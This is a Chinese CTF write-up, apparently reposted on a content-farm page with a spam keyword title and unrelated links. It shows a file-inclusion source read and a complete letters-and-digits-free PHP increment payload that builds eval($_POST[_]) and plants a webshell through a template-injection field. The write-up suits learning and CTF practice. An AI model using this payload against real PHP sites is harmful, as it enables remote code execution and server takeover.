当前位置: 首页 > news >正文

网站建设栏目流程网站建设 自学

网站建设栏目流程,网站建设 自学,企业为什么要建立集团,网站里的活动专题栏怎么做文章目录 涉及知识点解题过程 涉及知识点 无数字字母RCE自增马构造文件包含读取源码 解题过程 打开题目,随便注册一个用户为admin 登陆进去后,一眼发现杰哥图片有线索 我们F12看一下如何请求的 在这里发现可能存在文件包含漏洞 我们尝试读取下源码 …

文章目录

    • 涉及知识点
    • 解题过程


涉及知识点

  1. 无数字字母RCE
  2. 自增马构造
  3. 文件包含读取源码

解题过程

打开题目,随便注册一个用户为admin
登陆进去后,一眼发现杰哥图片有线索
在这里插入图片描述我们F12看一下如何请求的
在这里发现可能存在文件包含漏洞

在这里插入图片描述我们尝试读取下源码

./get_pic.php?image=index.php

然后base64解码一下,直接看核心部分

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){$hash_user = md5($_POST['user']);$hash_pass = 'zsf'.md5($_POST['pass']);if(isset($_POST['punctuation'])){//filterif (strlen($_POST['user']) > 6){echo("<script>alert('Username is too long!');</script>");}elseif(strlen($_POST['website']) > 25){echo("<script>alert('Website is too long!');</script>");}elseif(strlen($_POST['punctuation']) > 1000){echo("<script>alert('Punctuation is too long!');</script>");}else{if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);$template = file_get_contents('./template.html');$content = str_replace("__USER__", $_POST['user'], $template);$content = str_replace("__PASS__", $hash_pass, $content);$content = str_replace("__WEBSITE__", $_POST['website'], $content);$content = str_replace("__PUNC__", $_POST['punctuation'], $content);file_put_contents('sandbox/'.$hash_user.'.php', $content);echo("<script>alert('Successed!');</script>");}else{echo("<script>alert('Invalid chars in website!');</script>");}}else{echo("<script>alert('Invalid chars in username!');</script>");}}}else{setcookie("user", $_POST['user'], time()+3600);setcookie("pass", $hash_pass, time()+3600);Header("Location:sandbox/$hash_user.php");}
}
?>

在这里可以看到user,website都做了严格的过滤并且限制输入长度
但是观察到strlen($_POST['punctuation']) > 1000,猜测这是利用的突破口
观察到是无字母数字RCE,那么大概思路就是自增构造

我们再读取一下源码中的./template.html
解码完发现很长,这里只展示有用的部分

<div id="start_block"> <a title="开始" id="start_btn"></a><div id="start_item"><ul class="item admin"><li><span class="adminImg"></span><?phperror_reporting(0);$user = ((string)__USER__);$pass = ((string)__PASS__);if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){echo($_COOKIE['user']);`}else{die("<script>alert('Permission denied!');</script>");}?></li></ul><ul class="item"><li><span class="sitting_btn"></span>系统设置</li><li><span class="help_btn"></span>使用指南 <b></b></li><li><span class="about_btn"></span>关于我们</li><li><span class="logout_btn"></span>退出系统</li></ul></div></div>
</div>
<a href="#" class="powered_by">__PUNC__</a>

分析一下,(string)__USER__会将__USER__强转成string类型。
然后利用点已经知道是无数字字母RCE,<?php被禁了,那么只能利用代码前面自带的<?php去shell
我们选择可以利用注释符注释,然后用);闭合回去,__PUNC__写exp再把下面的注释掉。
具体执行如下

在这里插入图片描述__PUNC__的exp

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

所以我们注册

//注册页面
user:a/*
passwd:a
website:a
punctuation:*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*//这个自增代表的是eval(@_POST[_]);

注册成功后,命令执行一下
在这里插入图片描述回显在页面源代码最下面找到(报错无关紧要)

在这里插入图片描述得到flag

在这里插入图片描述

http://www.yayakq.cn/news/323199/

相关文章:

  • 制作一个企业网站过程辽阳网站建设企业
  • 东莞网站建设推广公司普陀网站建设
  • 快速建站工具定制开发app
  • 钱多网站网站设置为信任站点
  • 男女做污的事情网站php如何创建站点
  • 企业定制网站建设公司哪家好九一免费版安装包下载
  • 做百度百科的网站做网站套餐
  • php网站漂浮广告代码做网站设分辨率
  • 做网站如何做视频怎样更新目录wordpress
  • 注册网站域名需要什么企业年金怎么领取最划算
  • 网站开发 图片储存怎么查询网站是否被降权
  • 网站改版推荐浙江省建设局房管科网站
  • 东庄水利建设公司网站cnzz 网站跳出率查询
  • app和网站开发语言的区别海尔集团电商网站建设
  • 深圳 建设工程招标有限公司网站网站刷链接怎么做
  • 微信群投票网站怎么做郑州新闻联播
  • 网站界面设计方案番禺做网站多少钱
  • 广州手机网站建设报价平面设计线上培训班哪个好
  • 国外做二手工业设备的网站建立网站找什么公司
  • 专业做网站排名公司电话主机装多个wordpress
  • 网站开发的主要工作步骤石家庄网络营销哪家好做
  • 建设婚恋网站用什么搭建营销式网站建设公司
  • 网站建设 0551湖南省住房和城乡建设厅门户网站
  • 小网站托管费用drupal 和wordpress
  • 集团网站建设成都免费申请手机号码
  • 用tornado做网站如何做电商带货
  • 如何做超一个电子商务网站网页设计制作大作业
  • 广州市建设职业培训学校网站自己网站怎么建设
  • 中国十大大型门户网站苏州本地网站
  • 艾特软件 网站建设查找网站空间商